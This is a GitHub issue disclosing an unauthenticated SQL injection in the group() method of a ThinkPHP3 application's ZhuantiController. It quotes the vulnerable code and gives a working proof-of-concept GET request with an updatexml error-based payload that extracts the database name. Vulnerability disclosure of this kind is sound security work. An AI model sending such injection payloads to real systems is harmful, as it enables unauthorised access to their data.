Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

There is a SQL injection in App/Mobile/Controller/ZhuantiController.class.php #15

Open
Northind opened this issue Mar 14, 2023 · 0 comments

Comments

@Northind
Copy link

There is a SQL injection in public function group() in App/Mobile/Controller/ZhuantiController.class.php,

public function group(){
    //**字符截取函数
    import('Class.String',APP_PATH);//文件在当前项目目录下的class目录
    $id=I('get.id');//类别ID
    ...

    //**获取当前栏目的信息
    $topcate=D('Column')->where("id=$id")->order('column_sort')->relation(true)->select();
    $this->assign('nav_list',$topcate);	

As we can see, the correct syntax of thinkphp3 framework is not used here, and the parameter $id is used to splice into the variable for the query in the function where() , which will result in a serious SQL injection vulnerability. What's more, no login behavior or privileges are required to trigger this vulnerability.

GET /index.php?s=Mobile/Zhuanti/group&id=11%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),1))%23 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Connection: close
Cookie: Hm_lvt_6cbae336ef2e6fc07bbcab9a0872e082=1678242336; Hm_lvt_2a935166b0c9b73fef3c8bae58b95fe4=1678281890,1678325702; DZMADMIN=aku8sgg271tavop9frhnvmrtm6; HOST=http%3A//127.0.0.1/; APP_HOST=http%3A//127.0.0.1/; kodUserLanguage=zh-CN; kodVersionCheck=check-at-1678361139; X-CSRF-TOKEN=FV8yZSY7uXJpVYQ7E9ZU; kodUserID=100; opensns_wb_type=tp_value; opensns_OX_LOGGED_USER=Xcg5hyqnk8af5exC%3D8X97hsYsywjkcUg97fHoAxkC9y1%3DbrvR%3DYzcB9BP7e09jsfgbC99hS-Fyxl7xqMbxfp3hpQgaB56kcTPxBt1fQwTfh5YAQrjbrvO; well_sid=p6huh3jioh4jidb90bdird4so9; well_token=N8uh7cbMxFBcYrhfaFA9ozwPLOm_2Bc_2Fi1MAgb5WoSLrofZqCUBOgbUFTdMJY8DDreemsyvlSruBfVnFoDW75YxKbsBKLiOq9pr9im3TqRQrGwD41eiDoZRrtZ25I_3D; Hm_lvt_9bb651f2bb5622d49b0299560d6559cd=1678673516; myInfo=%7B%22userId%22%3A%22%22%2C%22paymethod%22%3A%220%22%2C%22pn%22%3A%22%22%2C%22name%22%3A%22%22%2C%22place%22%3A%22%22%2C%22block%22%3A%22%22%2C%22floor%22%3A%22%22%2C%22jifen%22%3A%22%22%7D; PHPSESSID=j5d3572bddhkpito2tsloevp21; thinkphp_show_page_trace=0|0; Hm_lpvt_9bb651f2bb5622d49b0299560d6559cd=1678674385; XDEBUG_SESSION=PHPSTORM

Below is the result.
image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant